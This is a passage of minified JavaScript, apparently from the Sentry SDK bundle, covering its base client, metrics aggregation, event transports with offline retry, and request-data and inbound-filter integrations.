LQq(A){return[...A].reduce((K,q)=>K+CQq(q),"")}function RQq(A){let K={};for(let q in A)if(Object.prototype.hasOwnProperty.call(A,q)){let Y=EQq(q);K[Y]=LQq(String(A[q]))}return K}RP8.getBucketKey=VQq;RP8.sanitizeMetricKey=vQq;RP8.sanitizeTags=RQq;RP8.sanitizeUnit=TQq;RP8.serializeMetricBuckets=NQq;RP8.simpleHash=fQq});var SP8=v((IP8)=>{Object.defineProperty(IP8,"__esModule",{value:!0});var yP8=H8(),uQq=RvA();function BQq(A,K,q,Y){let z={sent_at:new Date().toISOString()};if(q&&q.sdk)z.sdk={name:q.sdk.name,version:q.sdk.version};if(!!Y&&K)z.dsn=yP8.dsnToString(K);let w=mQq(A);return yP8.createEnvelope(z,[w])}function mQq(A){let K=uQq.serializeMetricBuckets(A);return[{type:"statsd",length:K.length},K]}IP8.createMetricEnvelope=BQq});var BB1=v((gP8)=>{Object.defineProperty(gP8,"__esModule",{value:!0});var lY=H8(),FQq=tsA(),Wb=FX(),hP8=SB1(),QQq=xE(),UQq=Gb(),AtA=KF(),pQq=SP8(),bP8=XHA(),dQq=n1A(),cQq=IsA(),xP8="Not capturing exception because it's already been captured.";class uP8{constructor(A){if(this._options=A,this._integrations={},this._integrationsInitialized=!1,this._numProcessing=0,this._outcomes={},this._hooks={},this._eventProcessors=[],A.dsn)this._dsn=lY.makeDsn(A.dsn);else Wb.DEBUG_BUILD&&lY.logger.warn("No DSN provided, client will not send events.");if(this._dsn){let K=FQq.getEnvelopeEndpointWithUrlEncodedAuth(this._dsn,A);this._transport=A.transport({tunnel:this._options.tunnel,recordDroppedEvent:this.recordDroppedEvent.bind(this),...A.transportOptions,url:K})}}captureException(A,K,q){if(lY.checkOrSetAlreadyCaught(A)){Wb.DEBUG_BUILD&&lY.logger.log(xP8);return}let Y=K&&K.event_id;return this._process(this.eventFromException(A,K).then((z)=>this._captureEvent(z,K,q)).then((z)=>{Y=z})),Y}captureMessage(A,K,q,Y){let z=q&&q.event_id,w=lY.isParameterizedString(A)?A:String(A),H=lY.isPrimitive(A)?this.eventFromMessage(w,K,q):this.eventFromException(A,q);return this._process(H.then((J)=>this._captureEvent(J,q,Y)).then((J)=>{z=J})),z}captureEvent(A,K,q){if(K&&K.originalException&&lY.checkOrSetAlreadyCaught(K.originalException)){Wb.DEBUG_BUILD&&lY.logger.log(xP8);return}let Y=K&&K.event_id,w=(A.sdkProcessingMetadata||{}).capturedSpanScope;return this._process(this._captureEvent(A,K,w||q).then((H)=>{Y=H})),Y}captureSession(A){if(typeof A.release!=="string")Wb.DEBUG_BUILD&&lY.logger.warn("Discarded session because of missing or non-string release");else this.sendSession(A),bP8.updateSession(A,{init:!1})}getDsn(){return this._dsn}getOptions(){return this._options}getSdkMetadata(){return this._options._metadata}getTransport(){return this._transport}flush(A){let K=this._transport;if(K){if(this.metricsAggregator)this.metricsAggregator.flush();return this._isClientDoneProcessing(A).then((q)=>{return K.flush(A).then((Y)=>q&&Y)})}else return lY.resolvedSyncPromise(!0)}close(A){return this.flush(A).then((K)=>{if(this.getOptions().enabled=!1,this.metricsAggregator)this.metricsAggregator.close();return K})}getEventProcessors(){return this._eventProcessors}addEventProcessor(A){this._eventProcessors.push(A)}setupIntegrations(A){if(A&&!this._integrationsInitialized||this._isEnabled()&&!this._integrationsInitialized)this._setupIntegrations()}init(){if(this._isEnabled())this._setupIntegrations()}getIntegrationById(A){return this.getIntegrationByName(A)}getIntegrationByName(A){return this._integrations[A]}getIntegration(A){try{return this._integrations[A.id]||null}catch(K){return Wb.DEBUG_BUILD&&lY.logger.warn(`Cannot retrieve integration ${A.id} from the current Client`),null}}addIntegration(A){let K=this._integrations[A.name];if(AtA.setupIntegration(this,A,this._integrations),!K)AtA.afterSetupIntegrations(this,[A])}sendEvent(A,K={}){this.emit("beforeSendEvent",A,K);let q=hP8.createEventEnvelope(A,this._dsn,this._options._metadata,this._options.tunnel);for(let z of K.attachments||[])q=lY.addItemToEnvelope(q,lY.createAttachmentEnvelopeItem(z,this._options.transportOptions&&this._options.transportOptions.textEncoder));let Y=this._sendEnvelope(q);if(Y)Y.then((z)=>this.emit("afterSendEvent",A,z),null)}sendSession(A){let K=hP8.createSessionEnvelope(A,this._dsn,this._options._metadata,this._options.tunnel);this._sendEnvelope(K)}recordDroppedEvent(A,K,q){if(this._options.sendClientReports){let Y=typeof q==="number"?q:1,z=`${A}:${K}`;Wb.DEBUG_BUILD&&lY.logger.log(`Recording outcome: "${z}"${Y>1?` (${Y} times)`:""}`),this._outcomes[z]=(this._outcomes[z]||0)+Y}}captureAggregateMetrics(A){Wb.DEBUG_BUILD&&lY.logger.log(`Flushing aggregated metrics, number of metrics: ${A.length}`);let K=pQq.createMetricEnvelope(A,this._dsn,this._options._metadata,this._options.tunnel);this._sendEnvelope(K)}on(A,K){if(!this._hooks[A])this._hooks[A]=[];this._hooks[A].push(K)}emit(A,...K){if(this._hooks[A])this._hooks[A].forEach((q)=>q(...K))}_setupIntegrations(){let{integrations:A}=this._options;this._integrations=AtA.setupIntegrations(this,A),AtA.afterSetupIntegrations(this,A),this._integrationsInitialized=!0}_updateSessionFromEvent(A,K){let q=!1,Y=!1,z=K.exception&&K.exception.values;if(z){Y=!0;for(let J of z){let O=J.mechanism;if(O&&O.handled===!1){q=!0;break}}}let w=A.status==="ok";if(w&&A.errors===0||w&&q)bP8.updateSession(A,{...q&&{status:"crashed"},errors:A.errors||Number(Y||q)}),this.captureSession(A)}_isClientDoneProcessing(A){return new lY.SyncPromise((K)=>{let q=0,Y=1,z=setInterval(()=>{if(this._numProcessing==0)clearInterval(z),K(!0);else if(q+=Y,A&&q>=A)clearInterval(z),K(!1)},Y)})}_isEnabled(){return this.getOptions().enabled!==!1&&this._transport!==void 0}_prepareEvent(A,K,q,Y=UQq.getIsolationScope()){let z=this.getOptions(),w=Object.keys(this._integrations);if(!K.integrations&&w.length>0)K.integrations=w;return this.emit("preprocessEvent",A,K),cQq.prepareEvent(z,A,K,q,this,Y).then((H)=>{if(H===null)return H;let J={...Y.getPropagationContext(),...q?q.getPropagationContext():void 0};if(!(H.contexts&&H.contexts.trace)&&J){let{traceId:X,spanId:$,parentSpanId:_,dsc:G}=J;H.contexts={trace:{trace_id:X,span_id:$,parent_span_id:_},...H.contexts};let Z=G?G:dQq.getDynamicSamplingContextFromClient(X,this,q);H.sdkProcessingMetadata={dynamicSamplingContext:Z,...H.sdkProcessingMetadata}}return H})}_captureEvent(A,K={},q){return this._processEvent(A,K,q).then((Y)=>{return Y.event_id},(Y)=>{if(Wb.DEBUG_BUILD){let z=Y;if(z.logLevel==="log")lY.logger.log(z.message);else lY.logger.warn(z)}return})}_processEvent(A,K,q){let Y=this.getOptions(),{sampleRate:z}=Y,w=mP8(A),H=BP8(A),J=A.type||"error",O=`before send for type \`${J}\``;if(H&&typeof z==="number"&&Math.random()>z)return this.recordDroppedEvent("sample_rate","error",A),lY.rejectedSyncPromise(new lY.SentryError(`Discarding event because it's not included in the random sample (sampling rate = ${z})`,"log"));let X=J==="replay_event"?"replay":J,_=(A.sdkProcessingMetadata||{}).capturedSpanIsolationScope;return this._prepareEvent(A,K,q,_).then((G)=>{if(G===null)throw this.recordDroppedEvent("event_processor",X,A),new lY.SentryError("An event processor returned `null`, will not send event.","log");if(K.data&&K.data.__sentry__===!0)return G;let W=iQq(Y,G,K);return lQq(W,O)}).then((G)=>{if(G===null){if(this.recordDroppedEvent("before_send",X,A),w){let j=1+(A.spans||[]).length;this.recordDroppedEvent("before_send","span",j)}throw new lY.SentryError(`${O} returned \`null\`, will not send event.`,"log")}let Z=q&&q.getSession();if(!w&&Z)this._updateSessionFromEvent(Z,G);if(w){let D=G.sdkProcessingMetadata&&G.sdkProcessingMetadata.spanCountBeforeProcessing||0,j=G.spans?G.spans.length:0,M=D-j;if(M>0)this.recordDroppedEvent("before_send","span",M)}let W=G.transaction_info;if(w&&W&&G.transaction!==A.transaction)G.transaction_info={...W,source:"custom"};return this.sendEvent(G,K),G}).then(null,(G)=>{if(G instanceof lY.SentryError)throw G;throw this.captureException(G,{data:{__sentry__:!0},originalException:G}),new lY.SentryError(`Event processing pipeline threw an error, original event will not be sent. Details have been sent as a new event. Reason: ${G}`)})}_process(A){this._numProcessing++,A.then((K)=>{return this._numProcessing--,K},(K)=>{return this._numProcessing--,K})}_sendEnvelope(A){if(this.emit("beforeEnvelope",A),this._isEnabled()&&this._transport)return this._transport.send(A).then(null,(K)=>{Wb.DEBUG_BUILD&&lY.logger.error("Error while sending event:",K)});else Wb.DEBUG_BUILD&&lY.logger.error("Transport disabled")}_clearOutcomes(){let A=this._outcomes;return this._outcomes={},Object.keys(A).map((K)=>{let[q,Y]=K.split(":");return{reason:q,category:Y,quantity:A[K]}})}}function lQq(A,K){let q=`${K} must return \`null\` or a valid event.`;if(lY.isThenable(A))return A.then((Y)=>{if(!lY.isPlainObject(Y)&&Y!==null)throw new lY.SentryError(q);return Y},(Y)=>{throw new lY.SentryError(`${K} rejected with ${Y}`)});else if(!lY.isPlainObject(A)&&A!==null)throw new lY.SentryError(q);return A}function iQq(A,K,q){let{beforeSend:Y,beforeSendTransaction:z}=A;if(BP8(K)&&Y)return Y(K,q);if(mP8(K)&&z){if(K.spans){let w=K.spans.length;K.sdkProcessingMetadata={...K.sdkProcessingMetadata,spanCountBeforeProcessing:w}}return z(K,q)}return K}function BP8(A){return A.type===void 0}function mP8(A){return A.type==="transaction"}function nQq(A){let K=QQq.getClient();if(!K||!K.addEventProcessor)return;K.addEventProcessor(A)}gP8.BaseClient=uP8;gP8.addEventProcessor=nQq});var gB1=v((FP8)=>{Object.defineProperty(FP8,"__esModule",{value:!0});var mB1=H8();function aQq(A,K,q,Y,z){let w={sent_at:new Date().toISOString()};if(q&&q.sdk)w.sdk={name:q.sdk.name,version:q.sdk.version};if(!!Y&&!!z)w.dsn=mB1.dsnToString(z);if(K)w.trace=mB1.dropUndefinedKeys(K);let H=sQq(A);return mB1.createEnvelope(w,[H])}function sQq(A){return[{type:"check_in"},A]}FP8.createCheckInEnvelope=aQq});var yvA=v((QP8)=>{Object.defineProperty(QP8,"__esModule",{value:!0});var eQq="c",AUq="g",KUq="s",qUq="d",YUq=5000,zUq=1e4,wUq=1e4;QP8.COUNTER_METRIC_TYPE=eQq;QP8.DEFAULT_BROWSER_FLUSH_INTERVAL=YUq;QP8.DEFAULT_FLUSH_INTERVAL=zUq;QP8.DISTRIBUTION_METRIC_TYPE=qUq;QP8.GAUGE_METRIC_TYPE=AUq;QP8.MAX_WEIGHT=wUq;QP8.SET_METRIC_TYPE=KUq});var dB1=v((UP8)=>{Object.defineProperty(UP8,"__esModule",{value:!0});var KtA=yvA(),ZUq=RvA();class FB1{constructor(A){this._value=A}get weight(){return 1}add(A){this._value+=A}toString(){return`${this._value}`}}class QB1{constructor(A){this._last=A,this._min=A,this._max=A,this._sum=A,this._count=1}get weight(){return 5}add(A){if(this._last=A,A<this._min)this._min=A;if(A>this._max)this._max=A;this._sum+=A,this._count++}toString(){return`${this._last}:${this._min}:${this._max}:${this._sum}:${this._count}`}}class UB1{constructor(A){this._value=[A]}get weight(){return this._value.length}add(A){this._value.push(A)}toString(){return this._value.join(":")}}class pB1{constructor(A){this.first=A,this._value=new Set([A])}get weight(){return this._value.size}add(A){this._value.add(A)}toString(){return Array.from(this._value).map((A)=>typeof A==="string"?ZUq.simpleHash(A):A).join(":")}}var WUq={[KtA.COUNTER_METRIC_TYPE]:FB1,[KtA.GAUGE_METRIC_TYPE]:QB1,[KtA.DISTRIBUTION_METRIC_TYPE]:UB1,[KtA.SET_METRIC_TYPE]:pB1};UP8.CounterMetric=FB1;UP8.DistributionMetric=UB1;UP8.GaugeMetric=QB1;UP8.METRIC_MAP=WUq;UP8.SetMetric=pB1});var lP8=v((cP8)=>{Object.defineProperty(cP8,"__esModule",{value:!0});var pP8=H8(),IvA=yvA(),fUq=dB1(),NUq=kvA(),qtA=RvA();class dP8{constructor(A){if(this._client=A,this._buckets=new Map,this._bucketsTotalWeight=0,this._interval=setInterval(()=>this._flush(),IvA.DEFAULT_FLUSH_INTERVAL),this._interval.unref)this._interval.unref();this._flushShift=Math.floor(Math.random()*IvA.DEFAULT_FLUSH_INTERVAL/1000),this._forceFlush=!1}add(A,K,q,Y="none",z={},w=pP8.timestampInSeconds()){let H=Math.floor(w),J=qtA.sanitizeMetricKey(K),O=qtA.sanitizeTags(z),X=qtA.sanitizeUnit(Y),$=qtA.getBucketKey(A,J,X,O),_=this._buckets.get($),G=_&&A===IvA.SET_METRIC_TYPE?_.metric.weight:0;if(_){if(_.metric.add(q),_.timestamp<H)_.timestamp=H}else _={metric:new fUq.METRIC_MAP[A](q),timestamp:H,metricType:A,name:J,unit:X,tags:O},this._buckets.set($,_);let Z=typeof q==="string"?_.metric.weight-G:q;if(NUq.updateMetricSummaryOnActiveSpan(A,J,Z,X,z,$),this._bucketsTotalWeight+=_.metric.weight,this._bucketsTotalWeight>=IvA.MAX_WEIGHT)this.flush()}flush(){this._forceFlush=!0,this._flush()}close(){this._forceFlush=!0,clearInterval(this._interval),this._flush()}_flush(){if(this._forceFlush){this._forceFlush=!1,this._bucketsTotalWeight=0,this._captureMetrics(this._buckets),this._buckets.clear();return}let A=Math.floor(pP8.timestampInSeconds())-IvA.DEFAULT_FLUSH_INTERVAL/1000-this._flushShift,K=new Map;for(let[q,Y]of this._buckets)if(Y.timestamp<=A)K.set(q,Y),this._bucketsTotalWeight-=Y.metric.weight;for(let[q]of K)this._buckets.delete(q);this._captureMetrics(K)}_captureMetrics(A){if(A.size>0&&this._client.captureAggregateMetrics){let K=Array.from(A).map(([,q])=>q);this._client.captureAggregateMetrics(K)}}}cP8.MetricsAggregator=dP8});var oP8=v((rP8)=>{Object.defineProperty(rP8,"__esModule",{value:!0});var qF=H8(),vUq=BB1(),EUq=gB1(),YtA=FX(),kUq=xE(),CUq=lP8(),LUq=hB1(),RUq=IB1(),yUq=qV(),IUq=$HA();ZHA();var iP8=n1A();class nP8 extends vUq.BaseClient{constructor(A){RUq.addTracingExtensions();super(A);if(A._experiments&&A._experiments.metricsAggregator)this.metricsAggregator=new CUq.MetricsAggregator(this)}eventFromException(A,K){return qF.resolvedSyncPromise(qF.eventFromUnknownInput(kUq.getClient(),this._options.stackParser,A,K))}eventFromMessage(A,K="info",q){return qF.resolvedSyncPromise(qF.eventFromMessage(this._options.stackParser,A,K,q,this._options.attachStacktrace))}captureException(A,K,q){if(this._options.autoSessionTracking&&this._sessionFlusher&&q){let Y=q.getRequestSession();if(Y&&Y.status==="ok")Y.status="errored"}return super.captureException(A,K,q)}captureEvent(A,K,q){if(this._options.autoSessionTracking&&this._sessionFlusher&&q){if((A.type||"exception")==="exception"&&A.exception&&A.exception.values&&A.exception.values.length>0){let w=q.getRequestSession();if(w&&w.status==="ok")w.status="errored"}}return super.captureEvent(A,K,q)}close(A){if(this._sessionFlusher)this._sessionFlusher.close();return super.close(A)}initSessionFlusher(){let{release:A,environment:K}=this._options;if(!A)YtA.DEBUG_BUILD&&qF.logger.warn("Cannot initialise an instance of SessionFlusher if no release is provided!");else this._sessionFlusher=new LUq.SessionFlusher(this,{release:A,environment:K})}captureCheckIn(A,K,q){let Y="checkInId"in A&&A.checkInId?A.checkInId:qF.uuid4();if(!this._isEnabled())return YtA.DEBUG_BUILD&&qF.logger.warn("SDK not enabled, will not capture checkin."),Y;let z=this.getOptions(),{release:w,environment:H,tunnel:J}=z,O={check_in_id:Y,monitor_slug:A.monitorSlug,status:A.status,release:w,environment:H};if("duration"in A)O.duration=A.duration;if(K)O.monitor_config={schedule:K.schedule,checkin_margin:K.checkinMargin,max_runtime:K.maxRuntime,timezone:K.timezone};let[X,$]=this._getTraceInfoFromScope(q);if($)O.contexts={trace:$};let _=EUq.createCheckInEnvelope(O,X,this.getSdkMetadata(),J,this.getDsn());return YtA.DEBUG_BUILD&&qF.logger.info("Sending checkin:",A.monitorSlug,A.status),this._sendEnvelope(_),Y}_captureRequestSession(){if(!this._sessionFlusher)YtA.DEBUG_BUILD&&qF.logger.warn("Discarded request mode session because autoSessionTracking option was disabled");else this._sessionFlusher.incrementSessionStatusCount()}_prepareEvent(A,K,q,Y){if(this._options.platform)A.platform=A.platform||this._options.platform;if(this._options.runtime)A.contexts={...A.contexts,runtime:(A.contexts||{}).runtime||this._options.runtime};if(this._options.serverName)A.server_name=A.server_name||this._options.serverName;return super._prepareEvent(A,K,q,Y)}_getTraceInfoFromScope(A){if(!A)return[void 0,void 0];let K=A.getSpan();if(K)return[IUq.getRootSpan(K)?iP8.getDynamicSamplingContextFromSpan(K):void 0,yUq.spanToTraceContext(K)];let{traceId:q,spanId:Y,parentSpanId:z,dsc:w}=A.getPropagationContext(),H={trace_id:q,span_id:Y,parent_span_id:z};if(w)return[w,H];return[iP8.getDynamicSamplingContextFromClient(q,this,A),H]}}rP8.ServerRuntimeClient=nP8});var eP8=v((tP8)=>{Object.defineProperty(tP8,"__esModule",{value:!0});var aP8=H8(),hUq=FX(),bUq=xE(),xUq=Gb();function uUq(A,K){if(K.debug===!0)if(hUq.DEBUG_BUILD)aP8.logger.enable();else aP8.consoleSandbox(()=>{console.warn("[Sentry] Cannot initialize SDK with `debug` option using a non-debug bundle.")});bUq.getCurrentScope().update(K.initialScope);let Y=new A(K);sP8(Y),BUq(Y)}function sP8(A){let q=xUq.getCurrentHub().getStackTop();q.client=A,q.scope.setClient(A)}function BUq(A){if(A.init)A.init();else if(A.setupIntegrations)A.setupIntegrations()}tP8.initAndBind=uUq;tP8.setCurrentClient=sP8});var zV8=v((YV8)=>{Object.defineProperty(YV8,"__esModule",{value:!0});var zV=H8(),AV8=FX(),qV8=30;function FUq(A,K,q=zV.makePromiseBuffer(A.bufferSize||qV8)){let Y={},z=(H)=>q.drain(H);function w(H){let J=[];if(zV.forEachEnvelopeItem(H,(_,G)=>{let Z=zV.envelopeItemTypeToDataCategory(G);if(zV.isRateLimited(Y,Z)){let W=KV8(_,G);A.recordDroppedEvent("ratelimit_backoff",Z,W)}else J.push(_)}),J.length===0)return zV.resolvedSyncPromise();let O=zV.createEnvelope(H[0],J),X=(_)=>{zV.forEachEnvelopeItem(O,(G,Z)=>{let W=KV8(G,Z);A.recordDroppedEvent(_,zV.envelopeItemTypeToDataCategory(Z),W)})},$=()=>K({body:zV.serializeEnvelope(O,A.textEncoder)}).then((_)=>{if(_.statusCode!==void 0&&(_.statusCode<200||_.statusCode>=300))AV8.DEBUG_BUILD&&zV.logger.warn(`Sentry responded with status code ${_.statusCode} to sent event.`);return Y=zV.updateRateLimits(Y,_),_},(_)=>{throw X("network_error"),_});return q.add($).then((_)=>_,(_)=>{if(_ instanceof zV.SentryError)return AV8.DEBUG_BUILD&&zV.logger.error("Skipped sending event because buffer is full."),X("queue_overflow"),zV.resolvedSyncPromise();else throw _})}return w.__sentry__baseTransport__=!0,{send:w,flush:z}}function KV8(A,K){if(K!=="event"&&K!=="transaction")return;return Array.isArray(A)?A[1]:void 0}YV8.DEFAULT_TRANSPORT_BUFFER_SIZE=qV8;YV8.createTransport=FUq});var JV8=v((HV8)=>{Object.defineProperty(HV8,"__esModule",{value:!0});var lB1=H8(),pUq=FX(),wV8=100,iB1=5000,dUq=3600000;function cB1(A,K){pUq.DEBUG_BUILD&&lB1.logger.info(`[Offline]: ${A}`,K)}function cUq(A){return(K)=>{let q=A(K),Y=K.createStore?K.createStore(K):void 0,z=iB1,w;function H($,_,G){if(lB1.envelopeContainsItemType($,["replay_event","replay_recording","client_report"]))return!1;if(K.shouldStore)return K.shouldStore($,_,G);return!0}function J($){if(!Y)return;if(w)clearTimeout(w);if(w=setTimeout(async()=>{w=void 0;let _=await Y.pop();if(_)cB1("Attempting to send previously queued event"),X(_).catch((G)=>{cB1("Failed to retry sending",G)})},$),typeof w!=="number"&&w.unref)w.unref()}function O(){if(w)return;J(z),z=Math.min(z*2,dUq)}async function X($){try{let _=await q.send($),G=wV8;if(_){if(_.headers&&_.headers["retry-after"])G=lB1.parseRetryAfterHeader(_.headers["retry-after"]);else if((_.statusCode||0)>=400)return _}return J(G),z=iB1,_}catch(_){if(Y&&await H($,_,z))return await Y.insert($),O(),cB1("Error sending. Event queued",_),{};else throw _}}if(K.flushAtStartup)O();return{send:X,flush:($)=>q.flush($)}}}HV8.MIN_DELAY=wV8;HV8.START_DELAY=iB1;HV8.makeOfflineTransport=cUq});var XV8=v((OV8)=>{Object.defineProperty(OV8,"__esModule",{value:!0});var nB1=H8(),rUq=tsA();function rB1(A,K){let q;return nB1.forEachEnvelopeItem(A,(Y,z)=>{if(K.includes(z))q=Array.isArray(Y)?Y[1]:void 0;return!!q}),q}function oUq(A,K){return(q)=>{let Y=A(q);return{...Y,send:async(z)=>{let w=rB1(z,["event","transaction","profile","replay_event"]);if(w)w.release=K;return Y.send(z)}}}}function aUq(A,K){return nB1.createEnvelope(K?{...A[0],dsn:K}:A[0],A[1])}function sUq(A,K){return(q)=>{let Y=A(q),z=new Map;function w(O,X){let $=X?`${O}:${X}`:O,_=z.get($);if(!_){let G=nB1.dsnFromString(O);if(!G)return;let Z=rUq.getEnvelopeEndpointWithUrlEncodedAuth(G,q.tunnel);_=X?oUq(A,X)({...q,url:Z}):A({...q,url:Z}),z.set($,_)}return[O,_]}async function H(O){function X(G){let Z=G&&G.length?G:["event"];return rB1(O,Z)}let $=K({envelope:O,getEvent:X}).map((G)=>{if(typeof G==="string")return w(G,void 0);else return w(G.dsn,G.release)}).filter((G)=>!!G);if($.length===0)$.push(["",Y]);return(await Promise.all($.map(([G,Z])=>Z.send(aUq(O,G)))))[0]}async function J(O){let X=[await Y.flush(O)];for(let[,$]of z)X.push(await $.flush(O));return X.every(($)=>$)}return{send:H,flush:J}}}OV8.eventFromEnvelope=rB1;OV8.makeMultiplexedTransport=sUq});var GV8=v((_V8)=>{Object.defineProperty(_V8,"__esModule",{value:!0});var $V8=H8();function Apq(A,K){let q={sent_at:new Date().toISOString()};if(K)q.dsn=$V8.dsnToString(K);let Y=A.map(Kpq);return $V8.createEnvelope(q,Y)}function Kpq(A){return[{type:"span"},A]}_V8.createSpanEnvelope=Apq});var DV8=v((WV8)=>{Object.defineProperty(WV8,"__esModule",{value:!0});function Ypq(A,K){let q=K&&Hpq(K)?K.getClient():K,Y=q&&q.getDsn(),z=q&&q.getOptions().tunnel;return wpq(A,Y)||zpq(A,z)}function zpq(A,K){if(!K)return!1;return ZV8(A)===ZV8(K)}function wpq(A,K){return K?A.includes(K.host):!1}function ZV8(A){return A[A.length-1]==="/"?A.slice(0,-1):A}function Hpq(A){return A.getClient!==void 0}WV8.isSentryRequestUrl=Ypq});var MV8=v((jV8)=>{Object.defineProperty(jV8,"__esModule",{value:!0});function Opq(A,...K){let q=new String(String.raw(A,...K));return q.__sentry_template_string__=A.join("\x00").replace(/%/g,"%%").replace(/\0/g,"%s"),q.__sentry_template_values__=K,q}jV8.parameterize=Opq});var fV8=v((VV8)=>{Object.defineProperty(VV8,"__esModule",{value:!0});var PV8=usA();function $pq(A,K,q=[K],Y="npm"){let z=A._metadata||{};if(!z.sdk)z.sdk={name:`sentry.javascript.${K}`,packages:q.map((w)=>({name:`${Y}:@sentry/${w}`,version:PV8.SDK_VERSION})),version:PV8.SDK_VERSION};A._metadata=z}VV8.applySdkMetadata=$pq});var kV8=v((EV8)=>{Object.defineProperty(EV8,"__esModule",{value:!0});var oB1=H8(),TV8=new Map,NV8=new Set;function Gpq(A){if(!oB1.GLOBAL_OBJ._sentryModuleMetadata)return;for(let K of Object.keys(oB1.GLOBAL_OBJ._sentryModuleMetadata)){let q=oB1.GLOBAL_OBJ._sentryModuleMetadata[K];if(NV8.has(K))continue;NV8.add(K);let Y=A(K);for(let z of Y.reverse())if(z.filename){TV8.set(z.filename,q);break}}}function vV8(A,K){return Gpq(A),TV8.get(K)}function Zpq(A,K){try{K.exception.values.forEach((q)=>{if(!q.stacktrace)return;for(let Y of q.stacktrace.frames||[]){if(!Y.filename)continue;let z=vV8(A,Y.filename);if(z)Y.module_metadata=z}})}catch(q){}}function Wpq(A){try{A.exception.values.forEach((K)=>{if(!K.stacktrace)return;for(let q of K.stacktrace.frames||[])delete q.module_metadata})}catch(K){}}EV8.addMetadataToStackFrames=Zpq;EV8.getMetadataForUrl=vV8;EV8.stripMetadataFromStackFrames=Wpq});var SV8=v((IV8)=>{Object.defineProperty(IV8,"__esModule",{value:!0});var Ppq=H8(),LV8=KF(),CV8=kV8(),RV8="ModuleMetadata",Vpq=()=>{return{name:RV8,setupOnce(){},setup(A){if(typeof A.on!=="function")return;A.on("beforeEnvelope",(K)=>{Ppq.forEachEnvelopeItem(K,(q,Y)=>{if(Y==="event"){let z=Array.isArray(q)?q[1]:void 0;if(z)CV8.stripMetadataFromStackFrames(z),q[1]=z}})})},processEvent(A,K,q){let Y=q.getOptions().stackParser;return CV8.addMetadataToStackFrames(Y,A),A}}},yV8=LV8.defineIntegration(Vpq),fpq=LV8.convertIntegrationFnToClass(RV8,yV8);IV8.ModuleMetadata=fpq;IV8.moduleMetadataIntegration=yV8});var mV8=v((BV8)=>{Object.defineProperty(BV8,"__esModule",{value:!0});var hV8=H8(),bV8=KF(),vpq=qV(),aB1={include:{cookies:!0,data:!0,headers:!0,ip:!1,query_string:!0,url:!0,user:{id:!0,username:!0,email:!0}},transactionNamingScheme:"methodPath"},xV8="RequestData",Epq=(A={})=>{let K=hV8.addRequestDataToEvent,q={...aB1,...A,include:{method:!0,...aB1.include,...A.include,user:A.include&&typeof A.include.user==="boolean"?A.include.user:{...aB1.include.user,...(A.include||{}).user}}};return{name:xV8,setupOnce(){},processEvent(Y,z,w){let{transactionNamingScheme:H}=q,{sdkProcessingMetadata:J={}}=Y,O=J.request;if(!O)return Y;let X=J.requestDataOptionsFromExpressHandler||J.requestDataOptionsFromGCPWrapper||Cpq(q),$=K(Y,O,X);if(Y.type==="transaction"||H==="handler")return $;let G=O._sentryTransaction;if(G){let Z=vpq.spanToJSON(G).description||"",W=Lpq(w)==="sentry.javascript.nextjs"?Z.startsWith("/api"):H!=="path",[D]=hV8.extractPathForTransaction(O,{path:!0,method:W,customRoute:Z});$.transaction=D}return $}}},uV8=bV8.defineIntegration(Epq),kpq=bV8.convertIntegrationFnToClass(xV8,uV8);function Cpq(A){let{transactionNamingScheme:K,include:{ip:q,user:Y,...z}}=A,w=[];for(let[J,O]of Object.entries(z))if(O)w.push(J);let H;if(Y===void 0)H=!0;else if(typeof Y==="boolean")H=Y;else{let J=[];for(let[O,X]of Object.entries(Y))if(X)J.push(O);H=J}return{include:{ip:q,user:H,request:w.length!==0?w:void 0,transaction:K}}}function Lpq(A){try{return A.getOptions()._metadata.sdk.name}catch(K){return}}BV8.RequestData=kpq;BV8.requestDataIntegration=uV8});var sB1=v((UV8)=>{Object.defineProperty(UV8,"__esModule",{value:!0});var c_=H8(),s1A=FX(),gV8=KF(),Ipq=[/^Script error\.?$/,/^Javascript error: Script error\.? on line 0$/,/^ResizeObserver loop completed with undelivered notifications.$/,/^Cannot redefine property: googletag$/],Spq=[/^.*\/healthcheck$/,/^.*\/healthy$/,/^.*\/live$/,/^.*\/ready$/,/^.*\/heartbeat$/,/^.*\/health$/,/^.*\/healthz$/],FV8="InboundFilters",hpq=(A={})=>{return{name:FV8,setupOnce(){},processEvent(K,q,Y){let z=Y.getOptions(),w=xpq(A,z);return upq(K,w)?null:K}}},QV8=gV8.defineIntegration(hpq),bpq=gV8.convertIntegrationFnToClass(FV8,QV8);function xpq(A={},K={}){return{allowUrls:[...A.allowUrls||[],...K.allowUrls||[]],denyUrls:[...A.denyUrls||[],...K.denyUrls||[]],ignoreErrors:[...A.ignoreErrors||[],...K.ignoreErrors||[],...A.disableErrorDefaults?[]:Ipq],ignoreTransactions:[...A.ignoreTransactions||[],...K.ignoreTransactions||[],...A.disableTransactionDefaults?[]:Spq],ignoreInternal:A.ignoreInternal!==void 0?A.ignoreInternal:!0}}function upq(A,K){if(K.ignoreInternal&&Upq(A))return s1A.DEBUG_BUILD&&c_.logger.warn(`Event dropped due to being internal Sentry Error. Event: ${c_.getEventDescription(A)}`),!0;if(Bpq(A,K.ignoreErrors))return s1A.DEBUG_BUILD&&c_.logger.warn(`Event dropped due to being matched by \`ignoreErrors\` option. Event: ${c_.getEventDescription(A)}`),!0;if(mpq(A,K.ignoreTransactions))return s1A.DEBUG_BUILD&&c_.logger.warn(`Event dropped due to being matched by \`ignoreTransactions\` option. Event: ${c_.getEventDescription(A)}`),!0;if(gpq(A,K.denyUrls))return s1A.DEBUG_BUILD&&c_.logger.warn(`Event dropped due to being matched by \`denyUrls\` option. Event: ${c_.getEventDescription(A)}. Url: ${ztA(A)}`),!0;if(!Fpq(A,K.allowUrls))return s1A.DEBUG_BUILD&&c_.logger.warn(`Event dropped due to not being matched by \`allowUrls\` option. Event: ${c_.getEventDescription(A)}. Url: ${ztA(A)}`),!0;return!1}function Bpq(A,K){if(A.type||!K||!K.length)return!1;return Qpq(A).some((q)=>c_.stringMatchesSomePattern(q,K))}function mpq(A,K){if(A.type!=="transaction"||!K||!K.length)return!1;let q=A.transaction;return q?c_.stringMatchesSomePattern(q,K):!1}function gpq(A,K){if(!K||!K.length)return!1;let q=ztA(A);return!q?!1:c_.stringMatchesSomePattern(q,K)}function Fpq(A,K){if(!K||!K.length)return!0;let q=ztA(A);return!q?!0:c_.stringMatchesSomePattern(q,K)}function Qpq(A){let K=[];if(A.message)K.push(A.message);let q;try{q=A.exception.values[A.exception.values.length-1]}catch(Y){}if(q){if(q.value){if(K.push(q.value),q.type)K.push(`${q.type}: 